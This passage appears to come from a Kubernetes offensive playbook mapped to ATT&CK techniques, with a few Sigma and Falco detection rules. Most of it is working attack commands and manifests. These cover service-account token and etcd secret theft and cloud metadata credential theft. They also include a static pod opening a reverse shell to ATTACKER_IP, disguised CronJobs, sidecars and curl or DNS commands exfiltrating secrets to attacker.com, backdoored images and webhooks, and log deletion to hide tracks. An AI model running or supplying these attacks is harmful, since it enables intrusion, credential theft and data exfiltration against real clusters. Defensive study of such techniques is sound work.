  -CAkey /etc/kubernetes/pki/ca.key -CAcreateserial \
  -out forged.crt -days 365

# 4. Extract etcd credentials for direct etcd access
cat /etc/kubernetes/pki/etcd/peer.crt
cat /etc/kubernetes/pki/etcd/peer.key

# 5. Harvest all SA tokens from kubelet pod volumes
find /var/lib/kubelet/pods/ -name token -type l | while read f; do
  echo "=== $f ==="
  cat "$f" 2>/dev/null
done
```

### 4.8 Service Account Token Theft

```bash
# Default mount point in every pod (unless automount disabled)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Decode JWT to see identity and expiry
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Use the token
export APISERVER=https://kubernetes.default.svc
curl -k -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces

# kubectl shorthand
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify auth can-i --list

# From host: harvest all tokens on node
find /var/lib/kubelet/pods/ -name token -type l 2>/dev/null | while read tp; do
  tok=$(cat "$tp" 2>/dev/null)
  if [ -n "$tok" ]; then
    sub=$(echo "$tok" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -c \
      "import sys,json;d=json.load(sys.stdin);print(d.get('sub','?'))" 2>/dev/null)
    perms=$(kubectl --token="$tok" auth can-i --list 2>/dev/null | grep -c '\*')
    echo "$sub | wildcards=$perms | $tp"
  fi
done
```

### 4.9 Dangerous RBAC Permissions Reference

| Permission | Escalation Path |
|-----------|----------------|
| `create pods` | Mount host filesystem, use privileged SA, escape to node |
| `create deployments/daemonsets/jobs` | Same as create pods (indirect pod creation) |
| `create/update clusterrolebindings` | Bind cluster-admin to self |
| `create/update clusterroles` + `escalate` | Create god-mode role |
| `get secrets` (cluster-wide) | Read all SA tokens, TLS certs, credentials |
| `create serviceaccounts/token` | Mint tokens for any SA |
| `impersonate users/groups` | Act as cluster-admin |
| `create certificatesigningrequests` + `approve` | Forge client certificates |
| `update/patch nodes` | Modify node labels to attract sensitive workloads |
| `create/update validatingwebhookconfigurations` | Disable security admission |
| `create/update mutatingwebhookconfigurations` | Inject sidecars into all pods |
| `delete events` | Cover tracks by removing audit evidence |

**Detection -- Sigma Rule: ClusterRoleBinding Creation**:
```yaml
title: Kubernetes ClusterRoleBinding to cluster-admin Created
id: f8e2d3a1-b4c5-4d6e-8f9a-0b1c2d3e4f5a
status: experimental
description: Detects creation of ClusterRoleBinding referencing cluster-admin role
logsource:
  category: kubernetes_audit
  product: kubernetes
detection:
  selection:
    verb: create
    objectRef.resource: clusterrolebindings
  privilege:
    requestObject.roleRef.name: cluster-admin
  condition: selection and privilege
falsepositives:
  - Legitimate cluster setup or operator installation
  - Helm chart deployments that require cluster-admin
level: critical
tags:
  - attack.t1098.006
  - attack.privilege_escalation
```

---

## 5. Lateral Movement

### 5.1 Pod-to-Pod via Network Policy Gaps

**ATT&CK**: T1046 (Network Service Discovery), T1021 (Remote Services)

```bash
# Default Kubernetes networking: ALL pods can communicate with ALL other pods
# Check for network policies
kubectl get networkpolicies -A
# If empty -- no restrictions, full lateral movement possible

# Service discovery via DNS
# List all services in all namespaces
nslookup -type=SRV _http._tcp.default.svc.cluster.local
dig +short SRV *.*.svc.cluster.local

# Enumerate services via environment variables (legacy)
env | grep -i _SERVICE_HOST
env | grep -i _SERVICE_PORT

# Enumerate via DNS brute-force
for ns in default kube-system monitoring logging; do
  for svc in api web db redis postgres mysql elasticsearch kibana grafana prometheus; do
    result=$(nslookup $svc.$ns.svc.cluster.local 2>/dev/null | grep Address | tail -1)
    [ -n "$result" ] && echo "$svc.$ns: $result"
  done
done

# Port scan discovered pods
# Get pod CIDR
kubectl get nodes -o jsonpath='{.items[*].spec.podCIDR}'
# Scan
nmap -sT -p 80,443,3306,5432,6379,8080,8443,9200,27017 [POD_CIDR]

# Reach any service directly (bypassing ingress controls)
curl http://10.244.1.15:8080/admin
curl http://internal-api.production.svc.cluster.local/v1/users
```

### 5.2 Service Account Hopping

```bash
# If you can exec into pods or access the kubelet API,
# you can steal SA tokens from other pods and pivot

# Via kubelet API (if anonymous auth enabled)
curl -k https://[NODE_IP]:10250/runningpods/ | jq '.items[].metadata.name'

# Exec into another pod and steal its token
curl -k -X POST "https://[NODE_IP]:10250/run/production/api-server-xyz/api" \
  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# Via kubectl (if you have exec permissions in target namespace)
kubectl exec -n production api-server-xyz -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Test stolen token privileges
STOLEN_TOKEN="eyJhbG..."
kubectl --token=$STOLEN_TOKEN auth can-i --list
kubectl --token=$STOLEN_TOKEN get secrets -n production
```

### 5.3 etcd Direct Access

```bash
# If you can reach etcd (from compromised control-plane node or network access)
# etcd contains ALL cluster state -- secrets, configs, RBAC, everything

# Check connectivity
curl -k https://[ETCD_IP]:2379/version

# With etcd certificates (from control-plane node):
ETCDCTL_API=3 etcdctl \
  --endpoints=https://[ETCD_IP]:2379 \
  --cert=/etc/kubernetes/pki/etcd/peer.crt \
  --key=/etc/kubernetes/pki/etcd/peer.key \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  get / --prefix --keys-only | head -50

# Dump all secrets
ETCDCTL_API=3 etcdctl \
  --endpoints=https://[ETCD_IP]:2379 \
  --cert=/etc/kubernetes/pki/etcd/peer.crt \
  --key=/etc/kubernetes/pki/etcd/peer.key \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  get /registry/secrets --prefix

# Extract SA tokens from etcd database file (no etcdctl needed)
strings /var/lib/etcd/member/snap/db | grep eyJhbGciOiJ

# Targeted secret extraction
ETCDCTL_API=3 etcdctl get /registry/secrets/kube-system/[SECRET_NAME] \
  --endpoints=https://[ETCD_IP]:2379 \
  --cert=/etc/kubernetes/pki/etcd/peer.crt \
  --key=/etc/kubernetes/pki/etcd/peer.key \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt

# Write to etcd (create a cluster-admin binding directly)
# This bypasses ALL admission controllers and RBAC checks
ETCDCTL_API=3 etcdctl put /registry/clusterrolebindings/pwned \
  '[serialized ClusterRoleBinding protobuf]' \
  --endpoints=https://[ETCD_IP]:2379 ...
```

### 5.4 Cloud Metadata from Pods

```bash
# AWS IMDSv1 (no authentication required)
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# AWS IMDSv2 (requires token -- still accessible from pods unless blocked)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

# Azure IMDS
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Use stolen cloud credentials to access other services
# AWS: use AccessKeyId/SecretAccessKey/Token for S3, EC2, IAM
# GCP: use access_token for GCS, Compute, IAM
# Azure: use access_token for ARM, Key Vault, Storage
```

### 5.5 CoreDNS Poisoning

```bash
# If you can modify the CoreDNS ConfigMap:
kubectl -n kube-system get configmap coredns -o yaml

# Edit to add rewrite rules
kubectl -n kube-system edit configmap coredns
# Add under the Corefile section:
#   rewrite name api.production.svc.cluster.local attacker-pod.default.svc.cluster.local

# Or add a custom zone file for MITM:
# file /etc/coredns/custom.db example.com {
#   reload 10s
# }

# Restart CoreDNS to apply
kubectl -n kube-system rollout restart deployment coredns
```

### 5.6 ARP Spoofing from hostNetwork Pod

```bash
# From a pod with hostNetwork: true
apt update && apt install -y dsniff tcpdump

# ARP spoof to intercept traffic between pods
arpspoof -i eth0 -t [TARGET_POD_IP] [GATEWAY_IP]
arpspoof -i eth0 -t [GATEWAY_IP] [TARGET_POD_IP]

# Capture intercepted traffic
tcpdump -ni eth0 -s0 -w captured.pcap
# Look for bearer tokens, API keys, database credentials
tcpdump -ni eth0 -s0 -A | grep -i "authorization\|bearer\|password\|token"
```

### 5.7 Kubelet API for Cross-Pod Execution

```bash
# Kubelet API allows exec into ANY pod on the node
# Ports: 10250 (authenticated), 10255 (read-only, deprecated)

# List all pods on the node
curl -k https://[NODE_IP]:10250/pods | jq '.items[].metadata | {name, namespace}'

# Execute commands in any pod
curl -k -X POST "https://[NODE_IP]:10250/run/[NS]/[POD]/[CONTAINER]" \
  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# Get container logs
curl -k "https://[NODE_IP]:10250/containerLogs/[NS]/[POD]/[CONTAINER]?tail=100"

# Websocket exec (for interactive shells)
wscat -c "wss://[NODE_IP]:10250/exec/[NS]/[POD]/[CONTAINER]?command=/bin/sh&input=1&output=1&tty=1" \
  --no-check
```

---

## 6. Persistence

### 6.1 Admission Webhook Backdoors

**ATT&CK**: T1098 (Account Manipulation), T1546 (Event Triggered Execution)

Mutating admission webhooks intercept every API request and can modify objects before they are persisted. A malicious webhook can inject sidecars, modify security contexts, or exfiltrate data from every created resource.

```yaml
# Malicious MutatingWebhookConfiguration
# Injects a sidecar into every new pod
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: pod-injector
webhooks:
- name: inject.attacker.io
  admissionReviewVersions: ["v1"]
  sideEffects: None
  clientConfig:
    url: "https://attacker-webhook.default.svc:443/mutate"
    # OR for external:
    # url: "https://attacker.com/webhook/mutate"
  rules:
  - operations: ["CREATE"]
    apiGroups: [""]
    apiVersions: ["v1"]
    resources: ["pods"]
  namespaceSelector:
    matchExpressions:
    - key: kubernetes.io/metadata.name
      operator: NotIn
      values: ["kube-system"]  # Avoid breaking system pods
  failurePolicy: Ignore  # Fail open so webhook outage doesn't block cluster
```

```python
# Webhook server that injects a sidecar into every pod
# This is the server that runs at attacker-webhook.default.svc
from flask import Flask, request, jsonify
import base64, json, copy

app = Flask(__name__)

@app.route('/mutate', methods=['POST'])
def mutate():
    review = request.get_json()
    pod = review['request']['object']

    # Inject sidecar container
    sidecar = {
        "name": "monitoring-agent",  # Innocent-looking name
        "image": "attacker/exfil:latest",
        "env": [{"name": "TARGET_TOKEN", "value": ""}],
        "volumeMounts": [{
            "name": "sa-token",
            "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
            "readOnly": True
        }],
        "resources": {"limits": {"cpu": "50m", "memory": "64Mi"}}
    }

    patch = [{"op": "add", "path": "/spec/containers/-", "value": sidecar}]

    return jsonify({
        "apiVersion": "admission.k8s.io/v1",
        "kind": "AdmissionReview",
        "response": {
            "uid": review['request']['uid'],
            "allowed": True,
            "patchType": "JSONPatch",
            "patch": base64.b64encode(json.dumps(patch).encode()).decode()
        }
    })

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=443, ssl_context=('cert.pem', 'key.pem'))
```

**Detection -- Falco Rule**:
```yaml
- rule: Mutating Webhook Configuration Modified
  desc: Detect creation or modification of mutating webhook configurations
  condition: >
    kevt and
    (kcreate or kupdate) and
    ka.target.resource = "mutatingwebhookconfigurations"
  output: >
    Mutating webhook configuration changed
    (user=%ka.user.name verb=%ka.verb name=%ka.target.name)
  priority: HIGH
  tags: [k8s, persistence, T1098]
```

### 6.2 CronJob Persistence

**ATT&CK**: T1053.007 (Container Orchestration Job)

```yaml
# CronJob that runs every 5 minutes, exfiltrates secrets
apiVersion: batch/v1
kind: CronJob
metadata:
  name: log-rotation  # Innocent name
  namespace: kube-system
spec:
  schedule: "*/5 * * * *"
  successfulJobsHistoryLimit: 0  # Don't keep completed job records
  failedJobsHistoryLimit: 0
  jobTemplate:
    spec:
      template:
        spec:
          serviceAccountName: default
          containers:
          - name: rotate
            image: curlimages/curl
            command:
            - /bin/sh
            - -c
            - |
              TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
              SECRETS=$(curl -sk -H "Authorization: Bearer $TOKEN" \
                https://kubernetes.default.svc/api/v1/secrets)
              curl -X POST https://attacker.com/exfil -d "$SECRETS"
          restartPolicy: Never
```

```bash
# Create the CronJob
kubectl apply -f cronjob-persistence.yaml

# Verify it's running
kubectl get cronjobs -n kube-system
kubectl get jobs -n kube-system

# Stealthy: name it like a legitimate job
# Good camouflage names: log-rotation, cert-renewal, metrics-collector, cache-cleaner
```

### 6.3 Static Pod Injection

**ATT&CK**: T1543.005 (Container Service)

Static pods are managed directly by the kubelet, not the API server. They bypass ALL admission controllers.

```bash
# Requires write access to the kubelet's static pod manifest directory
# Default: /etc/kubernetes/manifests/

# Create a static pod backdoor
cat > /etc/kubernetes/manifests/kube-metrics-collector.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: kube-metrics-collector
  namespace: kube-system
  labels:
    component: metrics
    tier: monitoring
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: collector
    image: ubuntu:22.04
    command:
    - bash
    - -c
    - |
      while true; do
        # Reverse shell beacon
        bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 || true
        sleep 300
      done
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: hostroot
  volumes:
  - name: hostroot
    hostPath:
      path: /
EOF

# kubelet automatically creates this pod
# It survives kubectl delete (kubelet recreates it immediately)
# Only removable by deleting the manifest file from the node
```

**Key properties of static pods**:
- Not managed by API server (no Deployment/ReplicaSet)
- Bypass admission controllers (OPA, Kyverno, Pod Security)
- Survive `kubectl delete` (kubelet recreates them)
- Visible in API as mirror pods but cannot be modified via API
- Only removed by deleting the manifest file on the node

### 6.4 DaemonSet Backdoor

```yaml
# DaemonSet runs on EVERY node -- one pod per node for full coverage
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-monitor  # Camouflage name
  namespace: kube-system
  labels:
    k8s-app: node-monitor
spec:
  selector:
    matchLabels:
      k8s-app: node-monitor
  template:
    metadata:
      labels:
        k8s-app: node-monitor
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists  # Run on ALL nodes including masters
      containers:
      - name: monitor
        image: ubuntu:22.04
        command: ["bash", "-c", "while true; do sleep 3600; done"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: root
      volumes:
      - name: root
        hostPath:
          path: /
```

### 6.5 Mutating Webhook for Persistent Injection

```yaml
# Webhook that modifies EVERY deployment to include a backdoor init container
# This persists even if you delete individual pods -- new ones get re-infected
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: cert-injector  # Disguised as certificate injection
webhooks:
- name: certs.internal.io
  admissionReviewVersions: ["v1"]
  sideEffects: None
  clientConfig:
    service:
      name: cert-injector
      namespace: kube-system
      path: /inject
  rules:
  - operations: ["CREATE", "UPDATE"]
    apiGroups: ["apps"]
    apiVersions: ["v1"]
    resources: ["deployments", "daemonsets", "statefulsets"]
  failurePolicy: Ignore
```

### 6.6 Container Image Backdoor

```bash
# Modify an existing image in the registry to include a backdoor

# Pull the legitimate image
docker pull registry.internal.com/app:v2.1.0

# Add backdoor layer
cat > Dockerfile.backdoor << 'EOF'
FROM registry.internal.com/app:v2.1.0
COPY backdoor.sh /usr/local/bin/.health-check
RUN chmod +x /usr/local/bin/.health-check
# Modify entrypoint to run backdoor in background
ENTRYPOINT ["/bin/sh", "-c", "/usr/local/bin/.health-check & exec /original-entrypoint"]
EOF

# Push with the same tag
docker build -f Dockerfile.backdoor -t registry.internal.com/app:v2.1.0 .
docker push registry.internal.com/app:v2.1.0

# Next restart or scale event pulls the backdoored image
```

### 6.7 Shadow API Server

```bash
# CDK tool can deploy a shadow API server
cdk run k8s-shadow-apiserver

# Manual: create a pod that serves as a secondary API endpoint
# that accepts any authentication and proxies to the real API server
# with a stolen high-privilege token
```

---

## 7. Credential Access

### 7.1 Secrets via Kubernetes API

**ATT&CK**: T1528 (Steal Application Access Token)

```bash
# List all secrets (requires get secrets permission)
kubectl get secrets -A
kubectl get secrets -A -o json

# Decode secrets
kubectl get secret [NAME] -n [NS] -o jsonpath='{.data}' | \
  python3 -c "import sys,json,base64; [print(f'{k}: {base64.b64decode(v).decode()}') for k,v in json.loads(sys.stdin.read()).items()]"

# Bulk extraction script
kubectl get secrets -A -o json | python3 -c "
import json,sys,base64
data = json.load(sys.stdin)
for item in data['items']:
  ns = item['metadata']['namespace']
  name = item['metadata']['name']
  kind = item.get('type','')
  print(f'=== {ns}/{name} ({kind}) ===')
  for k,v in item.get('data',{}).items():
    try: print(f'  {k}: {base64.b64decode(v).decode()[:200]}')
    except: print(f'  {k}: [binary data]')
"

# Target high-value secrets
kubectl get secrets -A -o json | jq '
  .items[] | select(
    .type == "kubernetes.io/tls" or
    .type == "Opaque" or
    .type == "kubernetes.io/dockerconfigjson"
  ) | {namespace: .metadata.namespace, name: .metadata.name, type: .type}'
```

### 7.2 Secrets in etcd

```bash
# Direct etcd access bypasses RBAC entirely

# Check encryption at rest
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep encryption-provider-config
cat /etc/kubernetes/encryption-config.yaml

# If using identity provider (NOT encrypted):
# providers:
# - identity: {}    <-- secrets stored in plaintext

# Dump all secrets from etcd
ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cert=/etc/kubernetes/pki/etcd/peer.crt \
  --key=/etc/kubernetes/pki/etcd/peer.key \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  get /registry/secrets --prefix --print-value-only

# From etcd database file (offline, no etcdctl)
strings /var/lib/etcd/member/snap/db | grep -A5 "password\|secret\|token"
```

### 7.3 Mounted Secrets in Pods

```bash
# Secrets mounted as volumes
find / -name "*.key" -o -name "*.pem" -o -name "*.crt" 2>/dev/null
find / -path "*/secrets/*" 2>/dev/null
find / -path "*/.dockerconfigjson" 2>/dev/null

# Secrets as environment variables (visible in /proc)
env | grep -iE "password|secret|key|token|api_key|credential"
cat /proc/self/environ | tr '\0' '\n' | grep -iE "password|secret|key|token"

# From host with hostPID: steal env vars from all pods
for e in $(ls /proc/*/environ 2>/dev/null); do
  xargs -0 -L1 -a "$e" 2>/dev/null | grep -iE "password|secret|key|token|aws"
done
```

### 7.4 Cloud IMDS Credential Theft

```bash
# AWS -- node IAM role credentials
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE)
echo $CREDS | jq '{AccessKeyId, SecretAccessKey, Token, Expiration}'

# Use stolen AWS credentials
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .Token)
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
aws iam list-roles

# GCP -- default service account token
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token \
  | jq -r .access_token)
# Use with gcloud or API calls
curl -H "Authorization: Bearer $TOKEN" \
  "https://www.googleapis.com/storage/v1/b?project=$(curl -s -H 'Metadata-Flavor: Google' \
  http://metadata.google.internal/computeMetadata/v1/project/project-id)"

# Azure -- managed identity token
TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token)
# Use with az CLI or REST API
curl -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"
```

### 7.5 IRSA / Workload Identity Abuse

```bash
# AWS IRSA (IAM Roles for Service Accounts)
# Pods get a projected SA token that can be exchanged for AWS credentials

# Check if IRSA is configured
env | grep AWS_ROLE_ARN
env | grep AWS_WEB_IDENTITY_TOKEN_FILE
cat $AWS_WEB_IDENTITY_TOKEN_FILE

# The token is a K8s SA token with an audience claim for STS
# AWS STS trusts the K8s OIDC provider to issue tokens for this role
# Attack: if you can create pods with the annotated service account,
# you get the AWS IAM role

# Check SA annotations
kubectl get sa -A -o json | jq '
  .items[] | select(.metadata.annotations["eks.amazonaws.com/role-arn"] != null) |
  {namespace: .metadata.namespace, name: .metadata.name,
   role: .metadata.annotations["eks.amazonaws.com/role-arn"]}'

# Create a pod with the target SA to steal AWS credentials
kubectl run steal --image=amazonlinux \
  --serviceaccount=target-sa -n target-ns \
  --command -- sleep infinity
kubectl exec -it steal -n target-ns -- aws sts get-caller-identity

# GCP Workload Identity
# Check for WI annotation
kubectl get sa -A -o json | jq '
  .items[] | select(.metadata.annotations["iam.gke.io/gcp-service-account"] != null) |
  {namespace: .metadata.namespace, name: .metadata.name,
   gsa: .metadata.annotations["iam.gke.io/gcp-service-account"]}'

# Azure Workload Identity (AAD Pod Identity)
kubectl get azureidentities -A
kubectl get azureidentitybindings -A
```

### 7.6 Container Image Layer Secrets

```bash
# Secrets may be baked into image layers
docker history [IMAGE] --no-trunc
docker inspect [IMAGE] | jq '.[].Config.Env'

# Extract and search all layers
docker save [IMAGE] -o image.tar
tar xf image.tar
for layer in */layer.tar; do
  echo "=== $layer ==="
  tar tf "$layer" 2>/dev/null | grep -iE "\.env|\.key|\.pem|config|secret|password|credential"
done

# Search layer contents
for layer in */layer.tar; do
  tar xf "$layer" -C /tmp/layer_extract 2>/dev/null
  grep -rl "password\|secret\|api_key\|token" /tmp/layer_extract/ 2>/dev/null
  rm -rf /tmp/layer_extract/*
done
```

---

## 8. Data Exfiltration

### 8.1 Volume Mount Access

**ATT&CK**: T1005 (Data from Local System)

```bash
# If a pod has PersistentVolume mounts, access data directly
df -h  # List mounted volumes
ls -la /data /mnt /vol /persistent 2>/dev/null

# From a hostPath pod: access ALL PersistentVolumes on the node
find /host/var/lib/kubelet/pods -name "*.json" -path "*/volumes/*" 2>/dev/null
ls /host/var/lib/kubelet/pods/*/volumes/kubernetes.io~*/ 2>/dev/null

# Access NFS/EBS/GCE PD volumes
mount | grep -E "nfs|ebs|gce|azure"

# Copy data from PV to exfil
tar czf /tmp/exfil.tar.gz /data/
curl -X POST -F "file=@/tmp/exfil.tar.gz" https://attacker.com/upload
```

### 8.2 Sidecar Injection for Data Capture

```yaml
# Inject a sidecar that mirrors application traffic
# Via mutating webhook or direct pod spec modification
apiVersion: v1
kind: Pod
metadata:
  name: app-with-exfil
spec:
  containers:
  - name: app
    image: myapp:latest
    ports:
    - containerPort: 8080
  - name: log-agent  # Disguised sidecar
    image: attacker/exfil-agent:latest
    env:
    - name: EXFIL_ENDPOINT
      value: "https://attacker.com/collect"
    volumeMounts:
    - name: shared-data
      mountPath: /app-data
    - name: sa-token
      mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      readOnly: true
  volumes:
  - name: shared-data
    emptyDir: {}
  - name: sa-token
    projected:
      sources:
      - serviceAccountToken:
          path: token
```

### 8.3 DNS Exfiltration

```bash
# Encode data into DNS queries -- bypasses most network policies
# NetworkPolicy does not filter DNS traffic to CoreDNS by default

# Simple DNS exfil
data=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | tr '+/' '-_' | fold -w 60)
for chunk in $data; do
  nslookup $chunk.exfil.attacker.com
done

# Faster: use dig with encoded data
SECRET=$(kubectl get secret db-creds -o jsonpath='{.data.password}')
dig $SECRET.data.attacker.com

# Tool: dnscat2 for tunneling
# From pod:
dnscat2 --dns server=attacker.com,port=53

# iodine for IP-over-DNS tunneling
iodine -f attacker.com
```

### 8.4 Container Registry Theft

```bash
# Steal images from private registries using imagePullSecrets

# Get registry credentials
kubectl get secrets -A -o json | jq '
  .items[] | select(.type == "kubernetes.io/dockerconfigjson") |
  {ns: .metadata.namespace, name: .metadata.name,
   config: (.data[".dockerconfigjson"] | @base64d | fromjson)}'

# Use stolen credentials to pull proprietary images
REGISTRY_AUTH=$(kubectl get secret regcred -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d)
echo $REGISTRY_AUTH | docker login --username _json_key --password-stdin [REGISTRY]
docker pull [REGISTRY]/proprietary-app:latest

# Exfil the image
docker save [REGISTRY]/proprietary-app:latest | gzip | \
  curl -X POST -H "Content-Type: application/gzip" --data-binary @- https://attacker.com/images
```

### 8.5 HTTP/HTTPS Exfiltration via Egress

```bash
# If egress is not restricted by NetworkPolicy:
# Direct HTTP exfil
curl -X POST https://attacker.com/exfil \
  -d "$(kubectl get secrets -A -o json | base64)"

# Chunked exfil for large data
tar czf - /data | split -b 1M - /tmp/chunk_
for f in /tmp/chunk_*; do
  curl -X POST -F "file=@$f" https://attacker.com/upload
  rm "$f"
done

# Exfil via cloud storage (using stolen cloud credentials)
aws s3 cp /data/dump.sql s3://attacker-bucket/
gsutil cp /data/dump.sql gs://attacker-bucket/
```

---

## 9. Defense Evasion

### 9.1 Pod Security Bypass

**ATT&CK**: T1562.001 (Disable or Modify Tools)

```bash
# Pod Security Standards (PSS) enforcement bypass techniques:

# 1. Use namespaces without PSS labels
kubectl get ns --show-labels | grep -v "pod-security"
# Deploy to unlabeled namespaces

# 2. Use resource types that create pods indirectly
# If admission only checks Pods, use CronJobs/Jobs/DaemonSets
# Some webhooks only intercept CREATE on pods, not the controllers

# 3. Ephemeral containers (often not covered by PSS)
kubectl debug -it [POD] --image=ubuntu --target=[CONTAINER]
# Debug containers may bypass security context requirements

# 4. Static pods bypass PSS entirely (see Section 6.3)
# Write to /etc/kubernetes/manifests/ on the node

# 5. Namespace label manipulation (if you can update namespaces)
kubectl label namespace target pod-security.kubernetes.io/enforce=privileged --overwrite
```

### 9.2 Admission Controller Evasion

```bash
# 1. Check which resources/operations the webhook intercepts
kubectl get validatingwebhookconfigurations -o yaml | grep -A10 "rules:"
kubectl get mutatingwebhookconfigurations -o yaml | grep -A10 "rules:"

# 2. Use resource types not covered by webhooks
# Example: webhook covers pods but not cronjobs
# Create a CronJob that spawns a privileged pod

# 3. Target excluded namespaces
# Webhooks often exclude kube-system
kubectl get mutatingwebhookconfigurations -o json | jq '
  .items[].webhooks[].namespaceSelector'

# 4. Delete or modify the webhook configuration
kubectl delete validatingwebhookconfigurations [NAME]
kubectl delete mutatingwebhookconfigurations [NAME]

# 5. Make the webhook service unreachable (if failurePolicy: Ignore)
# Delete the webhook backend service/deployment
kubectl delete svc [WEBHOOK_SVC] -n [WEBHOOK_NS]
# Now all requests bypass the webhook

# 6. TOCTOU: create a compliant pod, then patch it
kubectl run benign --image=nginx
# Wait for admission...
kubectl patch pod benign --type='json' -p='[
  {"op":"add","path":"/spec/containers/0/securityContext","value":{"privileged":true}}
]'
# Note: this often fails for immutable fields, but works for some
```

### 9.3 Log Tampering and Event Deletion

```bash
# Delete Kubernetes events to hide tracks
kubectl delete events --all -n [NAMESPACE]
kubectl delete events --field-selector reason=Created -n default

# If you have access to the node:
# Truncate container logs
echo "" > /var/log/containers/[POD_NAME]*.log
echo "" > /var/log/pods/[NAMESPACE]_[POD]_[UID]/[CONTAINER]/*.log

# Clear kubelet logs
echo "" > /var/log/kubelet.log
journalctl --vacuum-time=1s -u kubelet

# Clear audit logs (if stored locally)
echo "" > /var/log/kubernetes/audit/audit.log

# Modify API server audit policy to reduce logging
# (if you can modify kube-apiserver static pod manifest)
```

### 9.4 Pod/Container Name Similarity

```bash
# Use names that blend in with legitimate system pods
# kube-system namespace naming patterns:
# kube-proxy-xxxxx, coredns-xxxxx, etcd-master, kube-apiserver-master

kubectl run kube-proxy-monitor --image=ubuntu -n kube-system \
  --labels="k8s-app=kube-proxy" -- sleep infinity

# Use legitimate-looking image names
# Instead of: attacker/backdoor:latest
# Use: k8s.gcr.io/metrics-server:v0.6.3 (built from your own Dockerfile)
```

### 9.5 Rootless Container Escape Techniques

```bash
# Even without privileged: true, certain capabilities enable escape

# CAP_SYS_ADMIN alone
# Allows mount, cgroup manipulation, many kernel operations
# Check current capabilities:
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

# CAP_DAC_READ_SEARCH
# Read any file on the host (if combined with hostPath)
# CDK: cdk run cap-dac-read-search /etc/shadow

# CAP_NET_ADMIN + hostNetwork
# ARP spoof, route manipulation, packet capture

# CAP_SYS_PTRACE + hostPID
# Inject into host processes (see Section 3.4)
```

### 9.6 Image Build-Time Evasion

```bash
# Multi-stage build to hide malicious tools
FROM golang:1.21 AS builder
COPY backdoor.go .
RUN go build -o /backdoor backdoor.go

FROM gcr.io/distroless/static:nonroot
COPY --from=builder /backdoor /usr/local/bin/healthcheck
# Appears clean in image scan -- distroless base, no shell
# Backdoor is a statically compiled Go binary
```

---

## 10. Detection Engineering

### 10.1 Falco Rules for Kubernetes Attacks

```yaml
# === Container Escape Detection ===

- rule: Container Escape via nsenter
  desc: Detect nsenter execution indicating container-to-host escape
  condition: >
    spawned_process and
    proc.name = "nsenter" and
    container.id != ""
  output: >
    nsenter executed in container (user=%user.name command=%proc.cmdline
    container=%container.name image=%container.image.repository pid=%proc.pid)
  priority: CRITICAL
  tags: [container, escape, mitre_privilege_escalation, T1611]

